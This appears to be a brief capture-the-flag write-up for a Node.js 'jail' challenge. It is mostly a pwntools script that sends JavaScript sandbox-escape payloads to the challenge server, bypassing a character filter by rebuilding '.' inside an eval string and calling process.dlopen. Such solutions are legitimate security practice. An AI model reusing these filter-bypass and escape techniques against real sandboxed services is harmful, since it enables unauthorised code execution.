Rating:

Lots of disallowed characters you had to get around

import binascii
from pwn import *
import sys
conn = remote("jail.alieni.se", 55542)
conn.recvuntil(">")
payload="""
function hangup(){
    for (var l of this.Buffer(1099999)){
            console.log(l)
    }
    if (code || code === 0)
        process.exitCode = code;

    if (!process._exiting) {
        process._exiting = true;
        process.emit('exit', process.exitCode || 0);
    }
    process.reallyExit(process.exitCode || 0);
}
"r"
"""
payload="""
console.log(process);
function hangup(){
    fs = process.dlopen("fs", "/usr/local/bin/node");
    console.log("test");
    console.log(fs);
    j = process.dlopen("fs", "/app/jail.js");
    console.log(module);
    console.log(j);
    console.log("hi");
    if (code || code === 0)
        process.exitCode = code;

    if (!process._exiting) {
        process._exiting = true;
        process.emit('exit', process.exitCode || 0);
    }
    process.reallyExit(process.exitCode || 0);
}
    """
payload="""
function RegExp{
    test: return True;}
    ask()
    """
payload='var m = 0;var k = "";for (var c of template) { if(m==1){k=c; break};if(c =="O"){m=1};}eval("%s")' % payload.replace('"',"'").replace(".", '" + k + "').replace("\n","")
print("sending payload %s" % payload)
conn.sendline(payload)
#conn.recvuntil("!")
j = conn.recvall()
print(j)
#for line in j.split("\n"):
#while conn.can_recv(2):
#    line = conn.recvline(False)
#    if line != ' ' and line != '':
#        if int(line) >= 32:
#            #print(chr(int(line)))
#            sys.stdout.write(chr(int(line)))
#            sys.stdout.flush()